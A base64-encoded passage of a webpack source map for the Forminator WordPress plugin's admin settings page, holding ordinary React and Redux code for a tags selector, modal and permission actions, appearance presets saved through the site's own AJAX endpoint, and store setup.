0gZWxzZSBpZiAoIHR5cGVvZiB0aGlzLiRlbC5GVUlzZWxlY3QyID09PSAnZnVuY3Rpb24nICkge1xuXHRcdFx0dGhpcy4kZWwuRlVJc2VsZWN0Miggb3B0aW9ucyApO1xuXHRcdH0gZWxzZSB7XG5cdFx0XHRjb25zb2xlLmxvZyggJ3NlbGVjdDIgbm90IGludGlhdGVkJyApO1xuXHRcdH1cblxuXHRcdHRoaXMuJGVsLm9uKCAnY2hhbmdlLnNlbGVjdDInLCB0aGlzLmhhbmRsZUNoYW5nZSApO1xuXG5cdFx0aWYgKFxuXHRcdFx0ISBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLnNldHRpbmdzLnBlcm1pc3Npb25fdHlwZSApICYmXG5cdFx0XHQoXG5cdFx0XHRcdCdzcGVjaWZpYycgPT09IHRoaXMucHJvcHMuc2V0dGluZ3MucGVybWlzc2lvbl90eXBlIHx8XG5cdFx0XHRcdCEgXy5pc1VuZGVmaW5lZCggdGhpcy5wcm9wcy5zZXR0aW5ncy51c2VyX2luZm8gKVxuXHRcdFx0KVxuXHRcdCkge1xuXHRcdFx0Y29uc3QgdXNlckluZm9zID0gdGhpcy5wcm9wcy5zZXR0aW5ncy51c2VyX2luZm87XG5cblx0XHRcdC8vIGluaXRpYWwgdmFsdWVzIGFwcGVuZFxuXHRcdFx0Xy5lYWNoKCB2YWx1ZSwgZnVuY3Rpb24oIG9wdGlvbiApIHtcblx0XHRcdFx0aWYgKCAhIF8uaXNVbmRlZmluZWQoIHVzZXJJbmZvc1sgb3B0aW9uIF0gKSApIHtcblx0XHRcdFx0XHRzZWxmLiRlbC5hcHBlbmQoIGpRdWVyeSggJzxvcHRpb24gdmFsdWU9XCInICsgb3B0aW9uICsgJ1wiPicgK1xuXHRcdFx0XHRcdHVzZXJJbmZvc1sgb3B0aW9uIF0uZW1haWwgK1xuXHRcdFx0XHRcdCc8L29wdGlvbj4nICkgKTtcblx0XHRcdFx0fVxuXHRcdFx0fSApO1xuXG5cdFx0fSBlbHNlIHtcblxuXHRcdFx0Ly8gaW5pdGlhbCB2YWx1ZXMgYXBwZW5kXG5cdFx0XHRfLmVhY2goIHZhbHVlLCBmdW5jdGlvbiggb3B0aW9uICkge1xuXHRcdFx0XHRzZWxmLiRlbC5hcHBlbmQoIGpRdWVyeSggJzxvcHRpb24gdmFsdWU9XCInICsgb3B0aW9uICsgJ1wiPicgKyBvcHRpb24gKyAnPC9vcHRpb24+JyApICk7XG5cdFx0XHR9ICk7XG5cdFx0fVxuXG5cdFx0Ly8gaW5pdGlhbCB2YWx1ZXMgb24gbW91bnRcblx0XHR0aGlzLiRlbC52YWwoIHZhbHVlICkudHJpZ2dlciggJ2NoYW5nZS5zZWxlY3QyJyApO1xuXHR9XG5cblx0Y29tcG9uZW50RGlkVXBkYXRlKCBwcmV2UHJvcHMsIHByZXZTdGF0ZSApIHtcblx0XHRpZiAoXG5cdFx0XHQhIF8uaXNVbmRlZmluZWQoIHRoaXMucHJvcHMuc2V0dGluZ3MudXNlcl9yb2xlICkgJiZcblx0XHRcdHByZXZQcm9wcy5zZXR0aW5ncy51c2VyX3JvbGUgIT09IHRoaXMucHJvcHMuc2V0dGluZ3MudXNlcl9yb2xlXG5cdFx0KSB7XG5cdFx0XHR0aGlzLiRlbC52YWwoIFtdICkudHJpZ2dlciggJ2NoYW5nZS5zZWxlY3QyJyApO1xuXHRcdH1cblx0fVxuXG5cdGhhbmRsZUNoYW5nZSggZSApIHtcblx0XHRjb25zdCB2YWx1ZSA9IGpRdWVyeSggZS50YXJnZXQgKS52YWwoKTtcblxuXHRcdC8vIENoZWNrIGlmIHdlJ3JlIG9uIGZpZWxkIHNldHRpbmdzXG5cdFx0aWYgKCB0eXBlb2YgdGhpcy5wcm9wcy51cGRhdGVQcm9wZXJ0eSA9PT0gJ2Z1bmN0aW9uJyApIHtcblx0XHRcdC8vIFVwZGF0ZSBmaWVsZCBzdGF0ZVxuXHRcdFx0dGhpcy5wcm9wcy51cGRhdGVQcm9wZXJ0eSggdGhpcy5wcm9wcy5wcm9wZXJ0eSwgdmFsdWUgKTtcblx0XHR9IGVsc2Uge1xuXHRcdFx0Ly8gVXBkYXRlIHN0b3JlXG5cdFx0XHR0aGlzLnByb3BzLmFjdGlvbnMuc2V0dGluZ3NBY3Rpb25zLnVwZGF0ZVNldHRpbmcoIHRoaXMucHJvcHMucHJvcGVydHksIHZhbHVlICk7XG5cdFx0fVxuXHR9XG5cblx0Y29tcG9uZW50V2lsbFVubW91bnQoKSB7XG5cdFx0dGhpcy4kZWwub2ZmKCAnY2hhbmdlJywgdGhpcy5oYW5kbGVDaGFuZ2UgKTtcblx0XHR0aGlzLiRlbC51bmJpbmQoKS5yZW1vdmVEYXRhKCk7XG5cdH1cblxuXHRyZW5kZXIoKSB7XG5cdFx0Y29uc3QgdmFsdWUgPSBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLnNldHRpbmdzWyB0aGlzLnByb3BzLnByb3BlcnR5IF0gKVxuXHRcdFx0PyBbXVxuXHRcdFx0OiB0aGlzLnByb3BzLnNldHRpbmdzWyB0aGlzLnByb3BzLnByb3BlcnR5IF07XG5cblx0XHRsZXQgZmllbGRMYWJlbCA9ICcnO1xuXG5cdFx0aWYgKCB0aGlzLnByb3BzLmxhYmVsICkge1xuXHRcdFx0ZmllbGRMYWJlbCA9IChcblx0XHRcdFx0PGxhYmVsIGh0bWxGb3I9eyBgZm9ybWluYXRvci1maWVsZC0keyB0aGlzLnByb3BzLnByb3BlcnR5IH1gIH0gY2xhc3NOYW1lPVwic3VpLWxhYmVsXCI+XG5cdFx0XHRcdFx0e3RoaXMucHJvcHMubGFiZWx9XG5cdFx0XHRcdFx0e3RoaXMucHJvcHMubm90ZSAmJiA8c3BhbiBjbGFzc05hbWU9XCJzdWktbGFiZWwtbm90ZVwiPnt0aGlzLnByb3BzLm5vdGV9PC9zcGFuPn1cblx0XHRcdFx0PC9sYWJlbD5cblx0XHRcdCk7XG5cdFx0fVxuXG5cdFx0cmV0dXJuIChcblx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWZvcm0tZmllbGRcIiBzdHlsZT17IHRoaXMucHJvcHMuc3R5bGUgfT5cblx0XHRcdFx0e2ZpZWxkTGFiZWx9XG5cblx0XHRcdFx0PHNlbGVjdFxuXHRcdFx0XHRcdHJlZj17IGVsID0+ICggdGhpcy5lbCA9IGVsICkgfVxuXHRcdFx0XHRcdGNsYXNzTmFtZT1cInN1aS1zZWxlY3RcIlxuXHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17IHZhbHVlIH1cblx0XHRcdFx0XHRtdWx0aXBsZT1cIm11bHRpcGxlXCJcblx0XHRcdFx0PlxuXHRcdFx0XHRcdHt0aGlzLnByb3BzLmNoaWxkcmVufVxuXHRcdFx0XHQ8L3NlbGVjdD5cblx0XHRcdDwvZGl2PlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9zZXR0aW5ncy9pbnB1dHMvc3VpLXRhZ3MuanMiLCJleHBvcnQgY29uc3Qgc2hvd01vZGFsID0gKCBtb2RhbFByb3BzLCBtb2RhbFR5cGUgKSA9PiBkaXNwYXRjaCA9PiB7XG5cdGRpc3BhdGNoKCB7XG5cdFx0dHlwZTogJ1NIT1dfTU9EQUwnLFxuXHRcdG1vZGFsUHJvcHMsXG5cdFx0bW9kYWxUeXBlLFxuXHR9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgaGlkZU1vZGFsID0gKCkgPT4gZGlzcGF0Y2ggPT4ge1xuXHRkaXNwYXRjaCgge1xuXHRcdHR5cGU6ICdISURFX01PREFMJyxcblx0fSApO1xufTtcblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9zZXR0aW5ncy1wYWdlL2FjdGlvbnMvbW9kYWwuanMiLCJleHBvcnQgY29uc3QgdXBkYXRlUGVybWlzc2lvbnMgPSBwZXJtaXNzaW9ucyA9PiBkaXNwYXRjaCA9PiB7XG5cdGRpc3BhdGNoKCB7XG5cdFx0dHlwZTogJ1VQREFURV9QRVJNSVNTSU9OUycsXG5cdFx0cGVybWlzc2lvbnM6IHBlcm1pc3Npb25zLFxuXHR9ICk7XG59O1xuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9zZXR0aW5ncy1wYWdlL2FjdGlvbnMvcGVybWlzc2lvbnMuanMiLCIvKiBqc2hpbnQgZXN2ZXJzaW9uOiA2ICovXG5pbXBvcnQgJy4vYXBwZWFyYW5jZS1wcmVzZXRzJztcbmltcG9ydCAnLi9wZXJtaXNzaW9ucyc7XG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL3NldHRpbmdzLXBhZ2UvaW5kZXguanMiLCIvKiBqc2hpbnQgZXN2ZXJzaW9uOiA2ICovXG5pbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnO1xuaW1wb3J0IHsgcmVuZGVyQmxvY2sgfSBmcm9tICcuLi9yZW5kZXJCbG9jayc7XG5pbXBvcnQgY29uZmlndXJlU3RvcmUgZnJvbSAnLi4vZm9ybS9zdG9yZS9jb25maWd1cmVTdG9yZSc7XG5pbXBvcnQgaTE4biBmcm9tICdpMThuLXdwLXBsdWdpbic7XG5pbXBvcnQgYXhpb3MgZnJvbSAnYXhpb3MnO1xuaW1wb3J0IHFzIGZyb20gJ3FzJztcbmltcG9ydCB7IGNvbm5lY3QsIFByb3ZpZGVyIH0gZnJvbSAncmVhY3QtcmVkdXgnO1xuaW1wb3J0IHsgYmluZEFjdGlvbkNyZWF0b3JzIH0gZnJvbSAncmVkdXgnO1xuaW1wb3J0ICogYXMgc2V0dGluZ3NBY3Rpb25zIGZyb20gJy4uL2Zvcm0vYWN0aW9ucy9zZXR0aW5ncyc7XG5pbXBvcnQgeyB0cmFuc2xhdGUsIGdldFRoZW1lUHJlZml4IH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IERlc2lnblN0eWxlIGZyb20gJy4uL2Zvcm0vY29tcG9uZW50cy9hcHBlYXJhbmNlL2Rlc2lnbic7XG5pbXBvcnQgQ29sb3JzIGZyb20gJy4uL2Zvcm0vY29tcG9uZW50cy9hcHBlYXJhbmNlL2NvbG9ycyc7XG5pbXBvcnQgRm9udHMgZnJvbSAnLi4vZm9ybS9jb21wb25lbnRzL2FwcGVhcmFuY2UvZm9udHMnO1xuaW1wb3J0IEZvcm1Db250YWluZXIgZnJvbSAnLi4vZm9ybS9jb21wb25lbnRzL2FwcGVhcmFuY2UvZm9ybS1jb250YWluZXInO1xuaW1wb3J0IEN1c3RvbUNzcyBmcm9tICcuLi9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9jdXN0b20tY3NzJztcbmltcG9ydCBOb3RpZmljYXRpb24gZnJvbSAnLi4vbm90aWZpY2F0aW9ucyc7XG5pbXBvcnQgUGFnZVNldHRpbmdzIGZyb20gXCIuLi9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9wYWdlLXNldHRpbmdzXCI7XG5cblxuY29uc3QgcHJlc2V0SWQgPSBqUXVlcnkoICdzZWxlY3RbbmFtZT1cImFwcGVhcmFuY2VfcHJlc2V0XCJdJyApLnZhbCgpO1xuY29uc3QgY3VycmVudFByZXNldCA9ICEgXy5pc1VuZGVmaW5lZCggZm9ybWluYXRvckRhdGEuY3VycmVudFByZXNldCApID8gZm9ybWluYXRvckRhdGEuY3VycmVudFByZXNldCA6IFtdO1xuY29uc3Qgc3RvcmUgPSBjb25maWd1cmVTdG9yZSggY3VycmVudFByZXNldCApO1xuXG5pMThuLnNldExvY2FsZSggZm9ybWluYXRvcmwxMG4ubG9jYWxlICk7XG5cbi8vIFdlIG5lZWQgb3VyIG93biB2ZXJzaW9uIG9mIGpRdWVyeSBpbiBjYXNlIHVzZXIgY2xpY2sgUHJldmlldyB3aXRoIFdQRWRpdG9yIGVuYWJsZWRcbi8vIFdQRWRpdG9yIGluc3RhbmNlIGJyZWFrcyB3aW5kb3cualF1ZXJ5IG9iamVjdCBhbmQgd2Ugc2hvdWxkIHJlc3RvcmUgb24gbW9kYWwgY2xvc2VcbndpbmRvdy5qUXVlcnlGb3JtaSA9IGpRdWVyeS5ub0NvbmZsaWN0KCk7XG5cblxuZnVuY3Rpb24gbWFwU3RhdGVUb1Byb3BzKCBzdGF0ZSApIHtcblx0cmV0dXJuIHtcblx0XHRzZXR0aW5nczogc3RhdGUuc2V0dGluZ3MsXG5cdFx0d3JhcHBlcnM6IHN0YXRlLndyYXBwZXJzLFxuXHRcdGZvcm1EZXNpZ246IHN0YXRlLnNldHRpbmdzWyAnZm9ybS1zdHlsZScgXSB8fCAnZGVmYXVsdCcsXG5cdH07XG59XG5cbmZ1bmN0aW9uIG1hcERpc3BhdGNoVG9Qcm9wcyggZGlzcGF0Y2ggKSB7XG5cdHJldHVybiB7XG5cdFx0YWN0aW9uczoge1xuXHRcdFx0c2V0dGluZ3NBY3Rpb25zOiBiaW5kQWN0aW9uQ3JlYXRvcnMoIHNldHRpbmdzQWN0aW9ucywgZGlzcGF0Y2ggKSxcblx0XHR9LFxuXHR9O1xufVxuXG5mdW5jdGlvbiBoYW5kbGVCZWZvcmV1bmxvYWQoIGUgKSB7XG5cdGlmICggd2luZG93LmZvcm1pbmF0b3JDaGFuZ2VzICYmIHdpbmRvdy5mb3JtaW5hdG9yQ2hhbmdlcy5zZXR0aW5ncyA9PT0gdHJ1ZSApIHtcblx0XHRlLnByZXZlbnREZWZhdWx0KCk7XG5cdFx0ZS5yZXR1cm5WYWx1ZSA9IHRyYW5zbGF0ZShcblx0XHRcdCdZb3UgaGF2ZSB1bnNhdmVkIGNoYW5nZXMsIGFyZSB5b3Ugc3VyZSB3YW50IHRvIGxlYXZlIHRoaXMgcGFnZSdcblx0XHQpO1xuXHRcdHJldHVybiB0cmFuc2xhdGUoICdZb3UgaGF2ZSB1bnNhdmVkIGNoYW5nZXMsIGFyZSB5b3Ugc3VyZSB3YW50IHRvIGxlYXZlIHRoaXMgcGFnZScgKTtcblx0fVxufVxuXG5mdW5jdGlvbiBzYXZlQXBwZWFyYW5jZVByZXNldCggcHJvcHMgKSB7XG5cdHZhciAkdGFyZ2V0ID0galF1ZXJ5KCcuZm9ybWluYXRvci11cGRhdGUtYXBwZWFyYW5jZS1wcmVzZXQnKTtcblx0JHRhcmdldC5hZGRDbGFzcygnc3VpLWJ1dHRvbi1vbmxvYWQnKTtcblxuXHRjb25zdCBvYmplY3QgPSB7XG5cdFx0YWN0aW9uOiAnZm9ybWluYXRvcl9zYXZlX2FwcGVhcmFuY2VfcHJlc2V0Jyxcblx0XHRfd3Bub25jZTogZm9ybWluYXRvckRhdGEucHJlc2V0Tm9uY2UsXG5cdFx0cHJlc2V0SWQsXG5cdFx0c2V0dGluZ3M6IEpTT04uc3RyaW5naWZ5KCBwcm9wcy5zZXR0aW5ncyApLFxuXHR9O1xuXG5cdGF4aW9zLnBvc3QoIGZvcm1pbmF0b3JEYXRhLmFqYXhVcmwsXG5cdFx0cXMuc3RyaW5naWZ5KCBvYmplY3QgKVxuXHQpXG5cdFx0LnRoZW4oICggZGF0YSApID0+IHtcblx0XHRcdGlmICggZGF0YS5kYXRhLnN1Y2Nlc3MgKSB7XG5cdFx0XHRcdC8vIFVwZGF0ZSBzdGF0dXNcblx0XHRcdFx0d2luZG93LmZvcm1pbmF0b3JDaGFuZ2VzLnNldHRpbmdzID0gZmFsc2U7XG5cdFx0XHRcdHByb3BzLnNldEhhc1VwZGF0ZWQoIGZhbHNlICk7XG5cblx0XHRcdFx0aWYgKCBkYXRhLmRhdGEuZGF0YSApIHtcblx0XHRcdFx0XHRjb25zdCBjdXN0b20gPSBuZXcgTm90aWZpY2F0aW9uKCB7XG5cdFx0XHRcdFx0XHR0eXBlOiAnc3VjY2VzcycsXG5cdFx0XHRcdFx0XHR0ZXh0OiBkYXRhLmRhdGEuZGF0YSxcblx0XHRcdFx0XHR9ICk7XG5cblx0XHRcdFx0XHRjdXN0b20ub3BlbigpO1xuXHRcdFx0XHR9XG5cdFx0XHR9IGVsc2Uge1xuXG5cdFx0XHRcdGNvbnN0IGN1c3RvbSA9IG5ldyBOb3RpZmljYXRpb24oIHtcblx0XHRcdFx0XHR0eXBlOiAnZXJyb3InLFxuXHRcdFx0XHRcdHRleHQ6IGRhdGEuZGF0YS5kYXRhLFxuXHRcdFx0XHR9ICk7XG5cblx0XHRcdFx0Y3VzdG9tLm9wZW4oKTtcblx0XHRcdH1cblx0XHR9IClcblx0XHQuY2F0Y2goICggZXJyICkgPT4ge1xuXHRcdFx0Y29uc3QgY3VzdG9tID0gbmV3IE5vdGlmaWNhdGlvbigge1xuXHRcdFx0XHR0eXBlOiAnZXJyb3InLFxuXHRcdFx0XHR0ZXh0OiB0cmFuc2xhdGUoICdTb21ldGhpbmcgd2VudCB3cm9uZy4gUGxlYXNlIHRyeSBhZ2Fpbi4nICksXG5cdFx0XHR9ICk7XG5cblx0XHRcdGN1c3RvbS5vcGVuKCk7XG5cblx0XHRcdGNvbnNvbGUubG9nKCBlcnIgKTtcblx0XHR9IClcblx0XHQudGhlbiggKCkgPT4ge1xuXHRcdFx0JHRhcmdldC5yZW1vdmVDbGFzcygnc3VpLWJ1dHRvbi1vbmxvYWQnKTtcblx0XHR9ICk7XG59XG5cbmZ1bmN0aW9uIGNoYW5nZVByZXNldCggZSApIHtcblx0dmFyIHByZXNldElkID0gZS5jdXJyZW50VGFyZ2V0LnZhbHVlLFxuXHRcdGRpdl9wcmVsb2FkZXIgPVxuXHRcdFx0JzxkaXYgY2xhc3M9XCJzdWktYm94LWJvZHkgc3VpLWJsb2NrLWNvbnRlbnQtY2VudGVyXCIgc3R5bGU9XCJoZWlnaHQ6IDQyMHB4O2Rpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogY2VudGVyOyBmbGV4LWRpcmVjdGlvbjogY29sdW1uO1wiPjxwIGNsYXNzPVwiXCIgYXJpYS1sYWJlbD1cIkxvYWRpbmcgY29udGVudFwiPicgK1xuXHRcdFx0XHQnPGkgY2xhc3M9XCJzdWktaWNvbi1sb2FkZXIgc3VpLWxvYWRpbmdcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48L2k+JyArXG5cdFx0XHRcdCc8YnI+JyArIHRyYW5zbGF0ZSggJ0xvYWRpbmcgUHJlc2V0IGRhdGEuLi4nICkgK1xuXHRcdFx0JzwvcD48L2Rpdj4nO1xuXG5cdGpRdWVyeSgnI2Zvcm1pbmF0b3ItYXBwZWFyYW5jZS1wcmVzZXQnKS5odG1sKCBkaXZfcHJlbG9hZGVyICk7XG5cblx0Rm9ybWluYXRvci5vcGVuUHJlc2V0KCBwcmVzZXRJZCApO1xufVxuXG5mdW5jdGlvbiBkZWxldGVQcmVzZXQoKSB7XG5cdHZhciAkdGFyZ2V0ID0galF1ZXJ5KCcucG9wdXAtY29uZmlybWF0aW9uLWNvbmZpcm0nKTtcblx0JHRhcmdldC5hZGRDbGFzcygnc3VpLWJ1dHRvbi1vbmxvYWQnKTtcblxuXHR2YXIgcHJlc2V0SWQgPSBqUXVlcnkoJ3NlbGVjdFtuYW1lPVwiYXBwZWFyYW5jZV9wcmVzZXRcIl0nKS52YWwoKTtcblxuXHR2YXIgZGF0YSA9IHtcblx0XHRhY3Rpb246ICdmb3JtaW5hdG9yX2RlbGV0ZV9hcHBlYXJhbmNlX3ByZXNldCcsXG5cdFx0X3dwbm9uY2U6IGZvcm1pbmF0b3JEYXRhLnByZXNldE5vbmNlLFxuXHRcdHByZXNldF9pZDogcHJlc2V0SWQsXG5cdH07XG5cblx0alF1ZXJ5LmFqYXgoe1xuXHRcdHVybDogRm9ybWluYXRvci5EYXRhLmFqYXhVcmwsXG5cdFx0dHlwZTogXCJQT1NUXCIsXG5cdFx0ZGF0YTogZGF0YSxcblx0XHRzdWNjZXNzOiBmdW5jdGlvbiggcmVzdWx0ICkge1xuXHRcdFx0aWYgKHJlc3VsdCAmJiByZXN1bHQuc3VjY2Vzcykge1xuXHRcdFx0XHRGb3JtaW5hdG9yLm9wZW5QcmVzZXQoICdkZWZhdWx0JywgJ3ByZXNldF9kZWxldGVkJyApO1xuXHRcdFx0fSBlbHNlIHtcblx0XHRcdFx0Rm9ybWluYXRvci5Ob3RpZmljYXRpb24ub3BlbiggJ2Vycm9yJywgcmVzdWx0LmRhdGEsIDQwMDAgKTtcblx0XHRcdFx0JHRhcmdldC5yZW1vdmVDbGFzcygnc3VpLWJ1dHRvbi1vbmxvYWQnKTtcblx0XHRcdH1cblx0XHR9LFxuXHRcdGVycm9yOiBmdW5jdGlvbiAoIGVycm9yICkge1xuXHRcdFx0Rm9ybWluYXRvci5Ob3RpZmljYXRpb24ub3BlbiggJ2Vycm9yJywgZXJyb3IuZGF0YSwgNDAwMCApO1xuXHRcdFx0JHRhcmdldC5yZW1vdmVDbGFzcygnc3VpLWJ1dHRvbi1vbmxvYWQnKTtcblx0XHR9XG5cdH0pO1xuXG5cdHJldHVybiBmYWxzZTtcbn1cblxuZnVuY3Rpb24gQXBwZWFyYW5jZShwcm9wcykge1xuXHRjb25zdCBbaGFzVXBkYXRlZCwgc2V0SGFzVXBkYXRlZF0gPSBSZWFjdC51c2VTdGF0ZSggISEgd2luZG93LmZvcm1pbmF0b3JDaGFuZ2VzLnNldHRpbmdzICk7XG5cblx0ZnVuY3Rpb24gc2F2ZSgpIHtcblx0XHRzYXZlQXBwZWFyYW5jZVByZXNldCggeyAuLi5wcm9wcywgc2V0SGFzVXBkYXRlZCB9ICk7XG5cdH1cblxuXHRSZWFjdC51c2VFZmZlY3QoKCkgPT4ge1xuXHRcdHNldEhhc1VwZGF0ZWQoICEhIHdpbmRvdy5mb3JtaW5hdG9yQ2hhbmdlcy5zZXR0aW5ncyApO1xuXHR9LCBbd2luZG93LmZvcm1pbmF0b3JDaGFuZ2VzLnNldHRpbmdzXSApO1xuXG5cdFJlYWN0LnVzZUVmZmVjdCgoKSA9PiB7XG5cdFx0d2luZG93LmFkZEV2ZW50TGlzdGVuZXIoICdkZWxldGVQcmVzZXQnLCBkZWxldGVQcmVzZXQgKTtcblx0XHR3aW5kb3cualF1ZXJ5KCAnc2VsZWN0W25hbWU9XCJhcHBlYXJhbmNlX3ByZXNldFwiXScgKS5vZmYoJ2NoYW5nZScpLm9uKCAnY2hhbmdlJywgY2hhbmdlUHJlc2V0ICk7XG5cdFx0d2luZG93LmpRdWVyeSggJy5mb3JtaW5hdG9yLXVwZGF0ZS1hcHBlYXJhbmNlLXByZXNldCcgKS5vZmYoJ2NsaWNrJykub24oICdjbGljaycsIHNhdmUgKTtcblx0fSwgW3Byb3BzXSApO1xuXG5cdGNvbnN0IGZvbnRTdHlsZSA9ICEgXy5pc1VuZGVmaW5lZCggcHJvcHMuc2V0dGluZ3NbICdmb3JtLXN0eWxlJyBdIClcblx0XHRcdD8gcHJvcHMuc2V0dGluZ3NbICdmb3JtLXN0eWxlJyBdXG5cdFx0XHQ6ICdkZWZhdWx0Jyxcblx0XHR0aXRsZSA9IGpRdWVyeSgnc2VsZWN0W25hbWU9XCJhcHBlYXJhbmNlX3ByZXNldFwiXSBvcHRpb246c2VsZWN0ZWQnKS5maXJzdCgpLnRleHQoKTtcblxuXHRyZXR1cm4gKCA8UmVhY3QuRnJhZ21lbnQ+XG5cblx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS1ib3gtaGVhZGVyXCI+XG5cdFx0XHQ8aDIgY2xhc3NOYW1lPVwic3VpLWJveC10aXRsZVwiPnsgdGl0bGUgfTwvaDI+XG5cblx0XHRcdHsgaGFzVXBkYXRlZCAmJlxuXHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktdGFnXCI+XG5cdFx0XHRcdFx0eyB0cmFuc2xhdGUoICdVbnNhdmVkIENoYW5nZXMnICkgfVxuXHRcdFx0XHQ8L3NwYW4+XG5cdFx0XHR9XG5cdFx0PC9kaXY+XG5cblx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS1ib3gtYm9keVwiPlxuXHRcdFx0PERlc2lnblN0eWxlIHsgLi4ucHJvcHMgfSAvPlxuXG5cdFx0XHR7IGZvbnRTdHlsZSAhPT0gJ25vbmUnICYmXG5cdFx0XHRcdDxSZWFjdC5GcmFnbWVudCBrZXk9e2AkeyBnZXRUaGVtZVByZWZpeChwcm9wcykgfXRoZW1lS2V5YH0+XG5cdFx0XHRcdFx0PENvbG9ycyB7IC4uLnByb3BzIH0gcHJlc2V0PVwidHJ1ZVwiIC8+XG5cdFx0XHRcdFx0PEZvbnRzIHsgLi4ucHJvcHMgfSBwcmVzZXQ9XCJ0cnVlXCIgLz5cblx0XHRcdFx0XHQ8Rm9ybUNvbnRhaW5lciB7IC4uLnByb3BzIH0gLz5cblx0XHRcdFx0PC9SZWFjdC5GcmFnbWVudD5cblx0XHRcdH1cblxuXHRcdFx0PEN1c3RvbUNzcyB7IC4uLnByb3BzIH0gLz5cblx0XHQ8L2Rpdj5cblx0PC9SZWFjdC5GcmFnbWVudD4gKTtcbn1cblxuY29uc3QgQXBwZWFyYW5jZUNvbnRhaW5lciA9IGNvbm5lY3QoXG5cdG1hcFN0YXRlVG9Qcm9wcyxcblx0bWFwRGlzcGF0Y2hUb1Byb3BzXG4pKCBBcHBlYXJhbmNlICk7XG5cbndpbmRvdy5mb3JtaW5hdG9yQ2hhbmdlcyA9IHsgc2V0dGluZ3M6IGZhbHNlIH07XG53aW5kb3cuYWRkRXZlbnRMaXN0ZW5lciggJ2JlZm9yZXVubG9hZCcsIGhhbmRsZUJlZm9yZXVubG9hZCApO1xuXG5yZW5kZXJCbG9jayhcblx0J2Zvcm1pbmF0b3ItYXBwZWFyYW5jZS1wcmVzZXQnLFxuXHQ8UHJvdmlkZXIgc3RvcmU9eyBzdG9yZSB9PlxuXHRcdDxBcHBlYXJhbmNlQ29udGFpbmVyLz5cblx0PC9Qcm92aWRlcj5cbik7XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvc2V0dGluZ3MtcGFnZS9hcHBlYXJhbmNlLXByZXNldHMuanMiLCIvKiBqc2hpbnQgZXN2ZXJzaW9uOiA2ICovXG5pbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnO1xuaW1wb3J0IHsgcmVuZGVyQmxvY2sgfSBmcm9tICcuLi9yZW5kZXJCbG9jayc7XG5pbXBvcnQgeyBQcm92aWRlciB9IGZyb20gJ3JlYWN0LXJlZHV4Jztcbi8vIGltcG9ydCB7IE1lbW9yeVJvdXRlciwgUm91dGUgfSBmcm9tICdyZWFjdC1yb3V0ZXItZG9tJztcbmltcG9ydCBjb25maWd1cmVTdG9yZSBmcm9tICcuL3N0b3JlL2NvbmZpZ3VyZVN0b3JlJztcbmltcG9ydCBpMThuIGZyb20gJ2kxOG4td3AtcGx1Z2luJztcblxuaW1wb3J0IE1haW4gZnJvbSAnLi9jb250YWluZXJzL21haW4nO1xuXG5jb25zdCBzdG9yZSA9IGNvbmZpZ3VyZVN0b3JlKCBmb3JtaW5hdG9yRGF0YS5tYWluU2V0dGluZ3MgKTtcblxuaTE4bi5zZXRMb2NhbGUoIGZvcm1pbmF0b3JsMTBuLmxvY2FsZSApO1xuXG53aW5kb3cuZm9ybWluYXRvckNoYW5nZXMgPSB7XG5cdHBlcm1pc3Npb25zOiB7fSxcbn07XG5cbi8vIFdlIG5lZWQgb3VyIG93biB2ZXJzaW9uIG9mIGpRdWVyeSBpbiBjYXNlIHVzZXIgY2xpY2sgUHJldmlldyB3aXRoIFdQRWRpdG9yIGVuYWJsZWRcbi8vIFdQRWRpdG9yIGluc3RhbmNlIGJyZWFrcyB3aW5kb3cualF1ZXJ5IG9iamVjdCBhbmQgd2Ugc2hvdWxkIHJlc3RvcmUgb24gbW9kYWwgY2xvc2VcbndpbmRvdy5qUXVlcnlGb3JtaSA9IGpRdWVyeS5ub0NvbmZsaWN0KCk7XG5cbi8vIE1haW4uXG5yZW5kZXJCbG9jayhcblx0J2Zvcm1pbmF0b3ItcGVybWlzc2lvbnMnLFxuXHQ8UHJvdmlkZXIgc3RvcmU9eyBzdG9yZSB9PlxuXHRcdDxNYWluLz5cblx0PC9Qcm92aWRlcj5cbik7XG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL3NldHRpbmdzLXBhZ2UvcGVybWlzc2lvbnMuanMiLCJpbXBvcnQgeyBjcmVhdGVTdG9yZSwgY29tcG9zZSwgYXBwbHlNaWRkbGV3YXJlIH0gZnJvbSAncmVkdXgnO1xuaW1wb3J0IHRodW5rIGZyb20gJ3JlZHV4LXRodW5rJztcbmltcG9ydCBhcHBSZWR1Y2VycyBmcm9tICcuLi9yZWR1Y2Vycy9pbmRleCc7XG5cbmNvbnN0IG5ld0NyZWF0ZVN0b3JlID0gY29tcG9zZSggYXBwbHlNaWRkbGV3YXJlKCB0aHVuayApICkoIGNyZWF0ZVN0b3JlICk7XG5cbmV4cG9ydCBkZWZhdWx0IGZ1bmN0aW9uIGNvbmZpZ3VyZVN0b3JlKCBpbml0aWFsU3RhdGUgKSB7XG5cdHJldHVybiBuZXdDcmVhdGVTdG9yZSggYXBwUmVkdWNlcnMsIGluaXRpYWxTdGF0ZSApO1xufVxuXG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL3NldHRpbmdzLXBhZ2Uvc3RvcmUvY29uZmlndXJlU3RvcmUuanMiLCJpb